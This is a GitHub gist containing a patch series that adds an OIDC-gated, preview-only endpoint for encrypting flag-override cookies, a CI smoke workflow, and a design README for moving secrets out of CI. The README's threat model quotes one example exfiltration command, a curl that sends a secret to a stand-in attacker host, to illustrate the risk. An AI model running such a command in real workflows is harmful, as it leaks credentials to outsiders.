Skip to content

Instantly share code, notes, and snippets.

@wycats
Created April 22, 2026 22:05
Show Gist options
  • Select an option

  • Save wycats/56cf7b91fbfde3562a3e1ffbc63c90b6 to your computer and use it in GitHub Desktop.

Select an option

Save wycats/56cf7b91fbfde3562a3e1ffbc63c90b6 to your computer and use it in GitHub Desktop.
From 0135ad15ffb5a82f2638dc233584723a42833522 Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Tue, 21 Apr 2026 19:35:24 -0700
Subject: [PATCH 01/17] CI-in-preview prototype: OIDC verifier,
encrypt-override route, smoke workflow
Test the "authenticated work lives in deployment, not CI" pattern end-to-end
with the smallest useful scope: CI mints a GitHub Actions OIDC token, hits a
preview-only route in v0chat, and the route uses FLAGS_SECRET from the preview
environment to encrypt a flag override cookie. No secret is mirrored in GH.
This prototype does not migrate any existing tests. Follow-up work would wire
tests/e2e/lib/set-chat-overrides.ts to this endpoint.
- packages/shared/lib/ci-oidc.ts: jose-based verifier, discriminated-union result
- chat/app/api/~/ci/flags/encrypt-override/route.ts: POST, preview-only, OIDC-gated
- .github/workflows/ci-in-preview-smoke.yaml: mint token, wait for v0chat, assert
Known imperfection: request carries both x-github-oidc-token (app auth) and
x-vercel-protection-bypass (platform auth). Documented; not fixed here.
---
.github/workflows/ci-in-preview-smoke.yaml | 92 +++++++++++++++++++
.../api/~/ci/flags/encrypt-override/route.ts | 67 ++++++++++++++
packages/shared/lib/ci-oidc.ts | 50 ++++++++++
3 files changed, 209 insertions(+)
create mode 100644 .github/workflows/ci-in-preview-smoke.yaml
create mode 100644 chat/app/api/~/ci/flags/encrypt-override/route.ts
create mode 100644 packages/shared/lib/ci-oidc.ts
diff --git a/.github/workflows/ci-in-preview-smoke.yaml b/.github/workflows/ci-in-preview-smoke.yaml
new file mode 100644
index 000000000000..b48f1cd1d048
--- /dev/null
+++ b/.github/workflows/ci-in-preview-smoke.yaml
@@ -0,0 +1,92 @@
+name: CI-in-Preview Smoke
+
+on:
+ pull_request:
+ paths:
+ - packages/shared/lib/ci-oidc.ts
+ - chat/app/api/~/ci/flags/encrypt-override/route.ts
+ - .github/workflows/ci-in-preview-smoke.yaml
+ workflow_dispatch:
+
+concurrency:
+ group: ${{ github.workflow }}-${{ github.ref }}
+ cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
+
+permissions:
+ id-token: write
+ contents: read
+
+jobs:
+ smoke:
+ name: Encrypt-override endpoint smoke
+ # Fork PRs can't mint OIDC tokens scoped to vercel/v0 and would be rejected
+ # by the route's repo check anyway. Skip cleanly.
+ if: github.event.pull_request.head.repo.full_name == github.repository || github.event_name == 'workflow_dispatch'
+ runs-on: ubuntu-latest
+ timeout-minutes: 20
+ steps:
+ - name: Checkout
+ uses: actions/checkout@v4
+
+ - name: Mint GitHub Actions OIDC token
+ run: |
+ set -euo pipefail
+ response=$(curl -sSL \
+ -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
+ "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=https://github.com/vercel")
+ token=$(echo "$response" | jq -r '.value')
+ if [ -z "$token" ] || [ "$token" = "null" ]; then
+ echo "Failed to mint OIDC token"
+ echo "$response"
+ exit 1
+ fi
+ echo "::add-mask::$token"
+ echo "GH_OIDC_TOKEN=$token" >> "$GITHUB_ENV"
+
+ - name: Wait for v0chat preview
+ id: wait_for_chat
+ uses: ./.github/actions/wait-for-vercel-project
+ with:
+ project-id: prj_U8Nv2QQgtCLD4LtGhEIpAqlczAxA
+ vercel-token: ${{ secrets.VERCEL_VERCEL_TEAM_TOKEN }}
+ timeout: 1000
+ check-interval: 15
+ environment: preview
+
+ - name: Call encrypt-override endpoint
+ env:
+ CHAT_URL: ${{ steps.wait_for_chat.outputs.deployment-url }}
+ DEPLOYMENT_PROTECTION_BYPASS: ${{ secrets.DEPLOYMENT_PROTECTION_BYPASS }}
+ run: |
+ set -euo pipefail
+ endpoint="${CHAT_URL%/}/api/~/ci/flags/encrypt-override"
+ echo "Calling $endpoint"
+
+ response=$(curl -sS -w "\n%{http_code}" \
+ -X POST "$endpoint" \
+ -H "Content-Type: application/json" \
+ -H "x-github-oidc-token: $GH_OIDC_TOKEN" \
+ -H "x-vercel-protection-bypass: $DEPLOYMENT_PROTECTION_BYPASS" \
+ --data '{"flags":{"ciInPreviewSmoke":true}}')
+
+ body=$(echo "$response" | sed '$d')
+ status=$(echo "$response" | tail -n1)
+
+ echo "HTTP $status"
+ echo "Body: $body"
+
+ if [ "$status" != "200" ]; then
+ echo "::error::Expected HTTP 200, got $status"
+ exit 1
+ fi
+
+ cookie=$(echo "$body" | jq -r '.cookie // ""')
+ cookie_len=${#cookie}
+ echo "Cookie length: $cookie_len"
+
+ if [ "$cookie_len" -lt 1 ]; then
+ echo "::error::Expected non-empty cookie in response"
+ exit 1
+ fi
+
+ echo "Smoke test passed: cookie length $cookie_len"
diff --git a/chat/app/api/~/ci/flags/encrypt-override/route.ts b/chat/app/api/~/ci/flags/encrypt-override/route.ts
new file mode 100644
index 000000000000..69f8555ac912
--- /dev/null
+++ b/chat/app/api/~/ci/flags/encrypt-override/route.ts
@@ -0,0 +1,67 @@
+// CI-in-preview prototype: encrypt flag overrides server-side using FLAGS_SECRET
+// from the preview deployment's env, gated by GitHub Actions OIDC.
+//
+// This is the first concrete instance of the broader "authenticated work lives
+// in deployment, not CI" pattern. See the companion workflow:
+// .github/workflows/ci-in-preview-smoke.yaml
+
+import { encryptOverrides } from 'flags'
+import { NextResponse } from 'next/server'
+import { verifyGitHubActionsOIDC } from '@internal/shared/lib/ci-oidc'
+
+const GITHUB_OIDC_AUDIENCE = 'https://github.com/vercel'
+const ALLOWED_REPOSITORIES = ['vercel/v0'] as const
+
+export async function POST(request: Request) {
+ // Preview-only. Production must not expose this route.
+ if (process.env.VERCEL_ENV === 'production') {
+ return new NextResponse('Not Found', { status: 404 })
+ }
+
+ const token = request.headers.get('x-github-oidc-token')
+ if (!token) {
+ return NextResponse.json({ error: 'unauthorized' }, { status: 401 })
+ }
+
+ const verification = await verifyGitHubActionsOIDC(token, {
+ audience: GITHUB_OIDC_AUDIENCE,
+ allowedRepositories: ALLOWED_REPOSITORIES,
+ })
+
+ if (!verification.ok) {
+ if (verification.reason === 'repo_mismatch') {
+ return NextResponse.json(
+ { error: 'forbidden', reason: 'repo_mismatch' },
+ { status: 403 },
+ )
+ }
+ return NextResponse.json({ error: 'unauthorized' }, { status: 401 })
+ }
+
+ let body: unknown
+ try {
+ body = await request.json()
+ } catch {
+ return NextResponse.json({ error: 'bad_request' }, { status: 400 })
+ }
+
+ if (
+ !body ||
+ typeof body !== 'object' ||
+ !('flags' in body) ||
+ typeof (body as { flags: unknown }).flags !== 'object' ||
+ (body as { flags: unknown }).flags === null
+ ) {
+ return NextResponse.json({ error: 'bad_request' }, { status: 400 })
+ }
+
+ const flags = (body as { flags: Record<string, unknown> }).flags
+
+ const flagsSecret = process.env.FLAGS_SECRET
+ if (!flagsSecret) {
+ return NextResponse.json({ error: 'misconfigured' }, { status: 500 })
+ }
+
+ const cookie = await encryptOverrides(flags, flagsSecret)
+ return NextResponse.json({ cookie })
+}
diff --git a/packages/shared/lib/ci-oidc.ts b/packages/shared/lib/ci-oidc.ts
new file mode 100644
index 000000000000..540cfa88e5bb
--- /dev/null
+++ b/packages/shared/lib/ci-oidc.ts
@@ -0,0 +1,50 @@
+import { createRemoteJWKSet, jwtVerify, type JWTPayload } from 'jose'
+
+const GITHUB_ACTIONS_ISSUER = 'https://token.actions.githubusercontent.com'
+
+const githubActionsJWKS = createRemoteJWKSet(
+ new URL('/.well-known/jwks', GITHUB_ACTIONS_ISSUER),
+)
+
+export type GitHubActionsOidcPayload = JWTPayload & {
+ repository: string
+ repository_owner?: string
+ ref?: string
+ sha?: string
+ workflow?: string
+ actor?: string
+ event_name?: string
+}
+
+export type VerifyGitHubActionsOidcOptions = {
+ audience: string
+ allowedRepositories: readonly string[]
+}
+
+export type VerifyGitHubActionsOidcResult =
+ | { ok: true; payload: GitHubActionsOidcPayload }
+ | { ok: false; reason: 'invalid_token' | 'repo_mismatch' }
+
+export async function verifyGitHubActionsOIDC(
+ token: string,
+ { audience, allowedRepositories }: VerifyGitHubActionsOidcOptions,
+): Promise<VerifyGitHubActionsOidcResult> {
+ let payload: JWTPayload
+ try {
+ ;({ payload } = await jwtVerify(token, githubActionsJWKS, {
+ issuer: GITHUB_ACTIONS_ISSUER,
+ audience,
+ }))
+ } catch {
+ return { ok: false, reason: 'invalid_token' }
+ }
+
+ if (
+ typeof payload.repository !== 'string' ||
+ !allowedRepositories.includes(payload.repository)
+ ) {
+ return { ok: false, reason: 'repo_mismatch' }
+ }
+
+ return { ok: true, payload: payload as GitHubActionsOidcPayload }
+}
From 06d6a857eb914dca741ee4f2ebca964be6be7f8e Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Tue, 21 Apr 2026 19:37:09 -0700
Subject: [PATCH 02/17] ci: install deps before wait-for-vercel-project
The action's bundle requires node_modules at runtime.
---
.github/workflows/ci-in-preview-smoke.yaml | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/.github/workflows/ci-in-preview-smoke.yaml b/.github/workflows/ci-in-preview-smoke.yaml
index b48f1cd1d048..5868d1f7855b 100644
--- a/.github/workflows/ci-in-preview-smoke.yaml
+++ b/.github/workflows/ci-in-preview-smoke.yaml
@@ -28,6 +28,12 @@ jobs:
- name: Checkout
uses: actions/checkout@v4
+ - name: Install dependencies
+ # wait-for-vercel-project's bundle requires node_modules at runtime.
+ uses: ./.github/actions/install
+ with:
+ npm-token: ${{ secrets.NPM_TOKEN }}
+
- name: Mint GitHub Actions OIDC token
run: |
set -euo pipefail
From 17e45c50d155fa0143b7460dc6bafc270921599e Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 09:44:17 -0700
Subject: [PATCH 03/17] feat(ci-oidc): endpoint-specific audience + optional
workflow_ref pinning
Two changes based on PER review findings:
1. Audience is now endpoint-specific. The route declares an audience that
matches its own URL, and the workflow mints with the same value. A token
minted for this endpoint cannot be replayed against another endpoint in
the same repo, even if both use vercel/v0 as the repo claim.
2. Verifier grows an optional allowedWorkflowRefs param. When set, only
tokens minted from listed workflows are accepted. Unset (the default for
this endpoint) means any workflow in allowedRepositories can call.
Convention for future endpoints: read-only endpoints can leave
allowedWorkflowRefs unset; write/side-effectful endpoints should pin it so
workflow changes show up in diffs.
---
.github/workflows/ci-in-preview-smoke.yaml | 5 ++-
.../api/~/ci/flags/encrypt-override/route.ts | 6 ++-
packages/shared/lib/ci-oidc.ts | 38 ++++++++++++++++++-
3 files changed, 45 insertions(+), 4 deletions(-)
diff --git a/.github/workflows/ci-in-preview-smoke.yaml b/.github/workflows/ci-in-preview-smoke.yaml
index 5868d1f7855b..a2e02558ca23 100644
--- a/.github/workflows/ci-in-preview-smoke.yaml
+++ b/.github/workflows/ci-in-preview-smoke.yaml
@@ -37,9 +37,12 @@ jobs:
- name: Mint GitHub Actions OIDC token
run: |
set -euo pipefail
+ # Endpoint-specific audience — matches the route's GITHUB_OIDC_AUDIENCE.
+ # A token with this audience is only valid against this one endpoint.
+ audience='https://v0.app/api/~/ci/flags/encrypt-override'
response=$(curl -sSL \
-H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
- "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=https://github.com/vercel")
+ "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=${audience}")
token=$(echo "$response" | jq -r '.value')
if [ -z "$token" ] || [ "$token" = "null" ]; then
echo "Failed to mint OIDC token"
diff --git a/chat/app/api/~/ci/flags/encrypt-override/route.ts b/chat/app/api/~/ci/flags/encrypt-override/route.ts
index 69f8555ac912..8be5b574bc57 100644
--- a/chat/app/api/~/ci/flags/encrypt-override/route.ts
+++ b/chat/app/api/~/ci/flags/encrypt-override/route.ts
@@ -9,7 +9,11 @@ import { encryptOverrides } from 'flags'
import { NextResponse } from 'next/server'
import { verifyGitHubActionsOIDC } from '@internal/shared/lib/ci-oidc'
-const GITHUB_OIDC_AUDIENCE = 'https://github.com/vercel'
+// Endpoint-specific OIDC audience. Matches the route URL so each CI-in-preview
+// endpoint has its own token scope: a token minted for this endpoint can't be
+// replayed against a different one, even within the same repo.
+const GITHUB_OIDC_AUDIENCE =
+ 'https://v0.app/api/~/ci/flags/encrypt-override'
const ALLOWED_REPOSITORIES = ['vercel/v0'] as const
export async function POST(request: Request) {
diff --git a/packages/shared/lib/ci-oidc.ts b/packages/shared/lib/ci-oidc.ts
index 540cfa88e5bb..e46136ae3cd8 100644
--- a/packages/shared/lib/ci-oidc.ts
+++ b/packages/shared/lib/ci-oidc.ts
@@ -12,22 +12,46 @@ export type GitHubActionsOidcPayload = JWTPayload & {
ref?: string
sha?: string
workflow?: string
+ workflow_ref?: string
+ job_workflow_ref?: string
actor?: string
event_name?: string
}
export type VerifyGitHubActionsOidcOptions = {
+ /**
+ * Endpoint-specific audience. Tokens minted for a different audience will
+ * fail signature verification. Use the route URL as the audience so each
+ * endpoint has its own token scope (e.g. cross-endpoint token reuse is
+ * structurally impossible).
+ */
audience: string
+
+ /** Repositories whose CI is permitted to call this endpoint. */
allowedRepositories: readonly string[]
+
+ /**
+ * Optional: only accept tokens minted from these workflows. Use when an
+ * endpoint has side effects and reviewers should see workflow changes in
+ * diffs. Pass `workflow_ref`-style strings like
+ * `vercel/v0/.github/workflows/my-workflow.yaml@refs/heads/main`; any prefix
+ * (before the `@`) match against `payload.workflow_ref` counts. Leave
+ * undefined to accept any workflow in `allowedRepositories`.
+ */
+ allowedWorkflowRefs?: readonly string[]
}
export type VerifyGitHubActionsOidcResult =
| { ok: true; payload: GitHubActionsOidcPayload }
- | { ok: false; reason: 'invalid_token' | 'repo_mismatch' }
+ | { ok: false; reason: 'invalid_token' | 'repo_mismatch' | 'workflow_mismatch' }
export async function verifyGitHubActionsOIDC(
token: string,
- { audience, allowedRepositories }: VerifyGitHubActionsOidcOptions,
+ {
+ audience,
+ allowedRepositories,
+ allowedWorkflowRefs,
+ }: VerifyGitHubActionsOidcOptions,
): Promise<VerifyGitHubActionsOidcResult> {
let payload: JWTPayload
try {
@@ -46,5 +70,15 @@ export async function verifyGitHubActionsOIDC(
return { ok: false, reason: 'repo_mismatch' }
}
+ if (allowedWorkflowRefs && allowedWorkflowRefs.length > 0) {
+ const workflowRef = payload.workflow_ref
+ if (
+ typeof workflowRef !== 'string' ||
+ !allowedWorkflowRefs.some((prefix) => workflowRef.startsWith(prefix))
+ ) {
+ return { ok: false, reason: 'workflow_mismatch' }
+ }
+ }
+
return { ok: true, payload: payload as GitHubActionsOidcPayload }
}
From 14be124e24f98b37e67d5b72cb70d94d240b2245 Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 10:16:20 -0700
Subject: [PATCH 04/17] ci: token-free preview URL discovery for smoke workflow
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Replaces `wait-for-vercel-project` (which needs VERCEL_VERCEL_TEAM_TOKEN, a
repo-wide shared secret) with a token-free wait: poll Vercel's PR comment
for the preview URL, then curl it with the deployment-protection bypass.
Why: `VERCEL_VERCEL_TEAM_TOKEN` is the exact class of shared rotating secret
the CI-in-preview pattern exists to move away from. A bonus validation of
the thesis — when a prototype whose point is "CI shouldn't depend on shared
secrets" is itself blocked by one, the right move is to stop depending on
it.
Uses only GITHUB_TOKEN (provided by Actions, no provisioning) and
DEPLOYMENT_PROTECTION_BYPASS (already a repo secret, used by every
preview-hitting workflow).
---
.github/workflows/ci-in-preview-smoke.yaml | 48 ++++++++++++++++++----
1 file changed, 41 insertions(+), 7 deletions(-)
diff --git a/.github/workflows/ci-in-preview-smoke.yaml b/.github/workflows/ci-in-preview-smoke.yaml
index a2e02558ca23..340256ee7d2d 100644
--- a/.github/workflows/ci-in-preview-smoke.yaml
+++ b/.github/workflows/ci-in-preview-smoke.yaml
@@ -54,13 +54,47 @@ jobs:
- name: Wait for v0chat preview
id: wait_for_chat
- uses: ./.github/actions/wait-for-vercel-project
- with:
- project-id: prj_U8Nv2QQgtCLD4LtGhEIpAqlczAxA
- vercel-token: ${{ secrets.VERCEL_VERCEL_TEAM_TOKEN }}
- timeout: 1000
- check-interval: 15
- environment: preview
+ env:
+ GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ PR_NUMBER: ${{ github.event.pull_request.number }}
+ DEPLOYMENT_PROTECTION_BYPASS: ${{ secrets.DEPLOYMENT_PROTECTION_BYPASS }}
+ run: |
+ set -euo pipefail
+
+ # Extract the v0chat preview URL from Vercel's PR comment. This avoids
+ # VERCEL_VERCEL_TEAM_TOKEN (which is the repo-wide CI-held credential
+ # this entire pattern is trying to move away from). GITHUB_TOKEN is
+ # provided automatically to every workflow; DEPLOYMENT_PROTECTION_BYPASS
+ # is already a repo secret used by every preview-hitting workflow.
+ deadline=$(( $(date +%s) + 900 ))
+ chat_url=""
+
+ while [ $(date +%s) -lt $deadline ]; do
+ chat_url=$(gh pr view "$PR_NUMBER" --json comments \
+ --jq '.comments[] | select(.author.login == "vercel") | .body' \
+ | grep -oE 'https://v0chat-git-[a-z0-9-]+\.vercel\.sh' \
+ | head -1 || true)
+
+ if [ -n "$chat_url" ]; then
+ echo "Found preview URL: $chat_url"
+ # Confirm it's reachable (200 or 404; we just need past the 401).
+ status=$(curl -s -o /dev/null -w "%{http_code}" \
+ -H "x-vercel-protection-bypass: $DEPLOYMENT_PROTECTION_BYPASS" \
+ "$chat_url")
+ if [ "$status" != "401" ] && [ "$status" != "000" ]; then
+ echo "Preview reachable (HTTP $status)"
+ echo "deployment-url=$chat_url" >> "$GITHUB_OUTPUT"
+ exit 0
+ fi
+ echo "Preview found but not yet reachable (HTTP $status), retrying..."
+ else
+ echo "Vercel comment not yet posted, retrying..."
+ fi
+ sleep 15
+ done
+
+ echo "::error::Preview URL not found or not reachable within 15 minutes"
+ exit 1
- name: Call encrypt-override endpoint
env:
From fa3bd66ec69d0182617a1d8d58e995f3a7756051 Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 10:33:20 -0700
Subject: [PATCH 05/17] docs(ci-in-preview): add pattern README
Describes the CI-in-preview pattern: authenticated operations that
require a sensitive secret move from CI shell scripts into HTTP
endpoints on the preview deployment, authenticated via GitHub Actions
OIDC. The preview holds the secret; CI never sees it.
Covers the threat model (the rebind of the exfiltration attack surface
from workflow YAML to reviewable code), architecture (verifier + route
+ workflow + env), guidance on when to pin workflow refs, and a
token-free preview-URL discovery pattern to avoid depending on the
repo-wide Vercel team token.
Prototype: PR #23333 implementing flags/encrypt-override.
---
system-docs/README-CI-IN-PREVIEW-PATTERN.md | 225 ++++++++++++++++++++
1 file changed, 225 insertions(+)
create mode 100644 system-docs/README-CI-IN-PREVIEW-PATTERN.md
diff --git a/system-docs/README-CI-IN-PREVIEW-PATTERN.md b/system-docs/README-CI-IN-PREVIEW-PATTERN.md
new file mode 100644
index 000000000000..bb04ad8fa0ca
--- /dev/null
+++ b/system-docs/README-CI-IN-PREVIEW-PATTERN.md
@@ -0,0 +1,225 @@
+# CI-in-Preview Pattern
+
+**Status:** draft. One verified prototype ([PR #23333](https://github.com/vercel/v0/pull/23333)) implementing the first endpoint. This document describes the pattern that prototype is the first instance of.
+
+## Problem
+
+Several CI workflows in v0 hold sensitive secrets (shared state with Vercel project env that periodically rotates) and use those secrets to perform authenticated operations. Examples:
+
+- `e2e-prod.yaml` pulls `FLAGS_SECRET`, `JWE_SECRET`, `JWE_SECRET_SESSION` from Vercel at runtime to encrypt flag-override cookies and test sessions.
+- Test workflows carry `TEST_USER_VERCEL_TOKEN` and related PATs to authenticate against Vercel APIs as a test user.
+- `wait-for-vercel-project` uses `VERCEL_VERCEL_TEAM_TOKEN` to poll the Vercel API for preview readiness.
+- Proposed: `TESTSERVER_DEPLOYMENT_PROTECTION_BYPASS` for testserver integration, `LOCALSTACK_AUTH_TOKEN`, etc.
+
+This arrangement has three recurring failure modes:
+
+1. **Drift.** A secret changes in Vercel but not GH (or vice versa). Tests fail silently: the cookie they encrypt is invalid, the API call they make returns 401. Observed: `FLAGS_SECRET` drift silently broke the `e2e-prod` cron for ~6 months before diagnosis.
+
+2. **Rotation outage.** When a shared CI secret rotates incorrectly or expires, every workflow that uses it breaks simultaneously. Observed: `VERCEL_VERCEL_TEAM_TOKEN` invalidation on 2026-04-22 broke `wait-for-vercel-project` repo-wide for ~15 hours.
+
+3. **Policy friction.** Vercel's "Enforce Sensitive Environment Variables" policy (enabled 2026-04-17) prevents new sensitive env vars from being pulled via `vercel env pull`. The existing secret-pull pattern cannot be extended to new consumers.
+
+Each of these is a symptom of the same structural issue: **CI holds authority that CI does not need**. CI orchestrates. It does not need to perform authenticated operations itself; it only needs to trigger them and observe their results.
+
+## Principle
+
+Authenticated operations that require a sensitive secret live on the preview deployment, not in CI. CI authenticates to the deployment via GitHub Actions OIDC and calls endpoints that perform the work server-side. The deployment holds the sensitive secret as a preview env var; CI never sees it.
+
+More precisely:
+
+1. Sensitive secrets live in the Vercel project's preview env. They do not appear in GitHub Actions secrets unless there is no server-side alternative.
+2. v0 exposes HTTP endpoints under `/api/~/ci/*` that encapsulate each authenticated operation. Each endpoint:
+ - Verifies a GitHub Actions OIDC token (proves the caller is v0 CI).
+ - Performs the authenticated operation using a preview env secret.
+ - Returns the result to the caller.
+3. CI workflows mint OIDC tokens via the runner's built-in issuance endpoint (`$ACTIONS_ID_TOKEN_REQUEST_URL`) and send them as `x-github-oidc-token` headers. No per-endpoint secret provisioning.
+4. Each endpoint uses an endpoint-specific OIDC audience. A token minted for one endpoint cannot be reused against another.
+
+## Threat model
+
+The pattern does not remove the capability to do authenticated work from code paths that a workflow touches. It moves the capability into a code path with a stronger review boundary.
+
+Before (secrets in CI):
+
+- Any workflow in the repo with `env: SECRET: ${{ secrets.FOO }}` can exfiltrate the secret. Workflows include dozens of actions, each with its own dependency chain. Every action update is a potential exfiltration point. Review of workflow YAML detects obvious misuse, but not subtle (`curl attacker.com -d "$SECRET"` inside an arbitrary shell step).
+
+After (secrets in preview endpoints):
+
+- An attacker who wants to exfiltrate the secret has to commit code to a preview-deployed app that exposes the secret. That code passes through ordinary code review. The secret's value is never accessible to workflow-level code.
+
+The set of people authorized to do this work doesn't shrink. The *channel* they have to go through shrinks from "any workflow YAML update anywhere" to "code change reviewed as an app diff." This is the same structural move as pnpm's decision to disable npm postinstall scripts by default: the capability still exists, but access to it has to be expressed more intentionally.
+
+One residual coupling remains: the Vercel deployment-protection bypass (`DEPLOYMENT_PROTECTION_BYPASS`). CI needs this to reach preview deployments at all. OIDC proves *who is calling*; bypass gets past *network-level gating*. These are orthogonal. A future mechanism (OIDC-authenticated preview access) could eliminate the bypass, but that's platform work, not our work.
+
+## Architecture
+
+Four components.
+
+### 1. The OIDC verifier
+
+A shared module, [`packages/shared/lib/ci-oidc.ts`](../packages/shared/lib/ci-oidc.ts). ~50 lines.
+
+```ts
+verifyGitHubActionsOIDC(token, {
+ audience: string, // endpoint-specific; matches route URL
+ allowedRepositories: string[], // typically ['vercel/v0']
+ allowedWorkflowRefs?: string[] // optional: workflows allowed to call this endpoint
+}) => { ok: true; payload } | { ok: false; reason }
+```
+
+Verification checks:
+
+- JWT signature against GitHub's public JWKS (`https://token.actions.githubusercontent.com/.well-known/jwks`).
+- Issuer (`https://token.actions.githubusercontent.com`), audience (caller-provided), expiration (via `jose`'s defaults).
+- The `repository` claim is in `allowedRepositories`.
+- If `allowedWorkflowRefs` is provided, the `workflow_ref` claim matches one of the given prefixes.
+
+JWKS is cached in-module by `jose`. No additional caching needed.
+
+### 2. The routes
+
+Each endpoint lives under `chat/app/api/~/ci/<feature>/<action>/route.ts`. Convention:
+
+```ts
+const GITHUB_OIDC_AUDIENCE = 'https://v0.app/api/~/ci/<feature>/<action>' // matches route URL
+
+export async function POST(request: Request) {
+ // 1. Refuse on production deployments.
+ if (process.env.VERCEL_ENV === 'production') {
+ return new NextResponse('Not Found', { status: 404 })
+ }
+
+ // 2. Verify OIDC.
+ const token = request.headers.get('x-github-oidc-token')
+ if (!token) return NextResponse.json({ error: 'unauthorized' }, { status: 401 })
+ const verification = await verifyGitHubActionsOIDC(token, {
+ audience: GITHUB_OIDC_AUDIENCE,
+ allowedRepositories: ['vercel/v0'],
+ // allowedWorkflowRefs optional, see "Choosing workflow restrictions" below
+ })
+ if (!verification.ok) {
+ return NextResponse.json({ error: 'unauthorized' }, { status: 401 })
+ }
+
+ // 3. Validate input.
+ // 4. Use the preview-held secret to do the authenticated work.
+ // 5. Return the result.
+}
+```
+
+Guard order matters: production-check first (can't reveal endpoint existence from prod), then authentication, then input validation. Anything that could short-circuit the production guard is a security bug.
+
+### 3. The workflow
+
+```yaml
+permissions:
+ id-token: write # required for GitHub Actions OIDC issuance
+ contents: read
+
+- name: Mint GitHub Actions OIDC token
+ run: |
+ audience='https://v0.app/api/~/ci/<feature>/<action>' # must match route's GITHUB_OIDC_AUDIENCE
+ response=$(curl -sSL \
+ -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
+ "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=${audience}")
+ token=$(echo "$response" | jq -r '.value')
+ echo "::add-mask::$token"
+ echo "GH_OIDC_TOKEN=$token" >> "$GITHUB_ENV"
+
+- name: Call the endpoint
+ env:
+ DEPLOYMENT_PROTECTION_BYPASS: ${{ secrets.DEPLOYMENT_PROTECTION_BYPASS }}
+ run: |
+ curl -sS -X POST "$CHAT_URL/api/~/ci/<feature>/<action>" \
+ -H "x-github-oidc-token: $GH_OIDC_TOKEN" \
+ -H "x-vercel-protection-bypass: $DEPLOYMENT_PROTECTION_BYPASS" \
+ -H "Content-Type: application/json" \
+ --data '<request body>'
+```
+
+`CHAT_URL` is the preview deployment URL for this PR. Obtaining it without the repo-wide `VERCEL_VERCEL_TEAM_TOKEN` is covered under "Discovering the preview URL" below.
+
+### 4. The env configuration
+
+Sensitive secrets that the endpoint uses live in the Vercel project's preview env (Production + Preview). They do not appear anywhere in `.github/workflows/`. Rotation is managed in the Vercel dashboard; every new preview deployment picks up the rotated value automatically.
+
+## Choosing workflow restrictions
+
+Endpoints fall into two rough classes:
+
+**Read-only endpoints** (return data derived from a secret without persistent side effects). Example: `encrypt-override` takes flags and returns an encrypted cookie. The caller could already compute the same cookie given the secret; the endpoint removes the need to hold it. Blast radius of misuse: small.
+
+For these, `allowedWorkflowRefs` can be unset. `allowedRepositories` is sufficient.
+
+**Write endpoints** (mutate state, call external services with side effects). Example: a hypothetical `cleanup-test-user` that deletes records in KV. Blast radius of misuse: larger.
+
+For these, set `allowedWorkflowRefs` to the specific workflow files that legitimately call the endpoint. Misuse then requires modifying one of those workflow files, which shows up in PR diffs as a workflow change. Reviewers pay different attention to workflow diffs than to application code.
+
+When in doubt, pin. Unpinning is a one-line change if it turns out to be over-restrictive.
+
+## Discovering the preview URL
+
+The Vercel PR comment contains the branch preview URL. Workflows can extract it without any Vercel token:
+
+```yaml
+- name: Wait for v0chat preview
+ env:
+ GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ PR_NUMBER: ${{ github.event.pull_request.number }}
+ DEPLOYMENT_PROTECTION_BYPASS: ${{ secrets.DEPLOYMENT_PROTECTION_BYPASS }}
+ run: |
+ deadline=$(( $(date +%s) + 900 ))
+ while [ $(date +%s) -lt $deadline ]; do
+ chat_url=$(gh pr view "$PR_NUMBER" --json comments \
+ --jq '.comments[] | select(.author.login == "vercel") | .body' \
+ | grep -oE 'https://v0chat-git-[a-z0-9-]+\.vercel\.sh' \
+ | head -1 || true)
+ if [ -n "$chat_url" ]; then
+ status=$(curl -s -o /dev/null -w "%{http_code}" \
+ -H "x-vercel-protection-bypass: $DEPLOYMENT_PROTECTION_BYPASS" \
+ "$chat_url")
+ if [ "$status" != "401" ] && [ "$status" != "000" ]; then
+ echo "CHAT_URL=$chat_url" >> "$GITHUB_ENV"
+ exit 0
+ fi
+ fi
+ sleep 15
+ done
+ exit 1
+```
+
+`GITHUB_TOKEN` is auto-provisioned to every workflow. No shared secret is consumed.
+
+The URL Vercel posts is a *branch alias*: it updates to the latest successful deploy for the branch. A workflow that polls this URL may briefly hit an older deployment before the new one completes. The `Call endpoint` step will either succeed (new deploy has the route) or fail with a clear 404 (old deploy; the new one hasn't aliased yet). Workflows that are sensitive to this can probe for a specific signature in the response.
+
+## Migration guidance
+
+Existing CI patterns that hold sensitive secrets can adopt this pattern incrementally. One operation at a time, one endpoint at a time.
+
+Good candidates to migrate, in rough priority order:
+
+1. **Flag-override encryption** (`encrypt-override`). First prototype. Replaces inline `encryptOverrides(flags, process.env.FLAGS_SECRET)` in test setup with a server-side call.
+2. **Test session encryption** (`encrypt-session`). Replaces inline `encryptCookie(session)` using `JWE_SECRET_SESSION`.
+3. **Test user token minting.** Replaces PATs stored in GH secrets.
+4. **Testserver provisioning.** Wraps `testserver.vercel.sh/create-testserver` so the bypass secret stays in preview env.
+5. **Test cleanup operations** (`cleanup-test-user`, `cleanup-kv`). Write endpoints; use `allowedWorkflowRefs` pinning.
+
+Each migration is a three-file change: one route added, one workflow updated, one setup script updated. Tests should continue working in both modes during migration (old secret-pull path and new endpoint path both read-available).
+
+## Limits and open questions
+
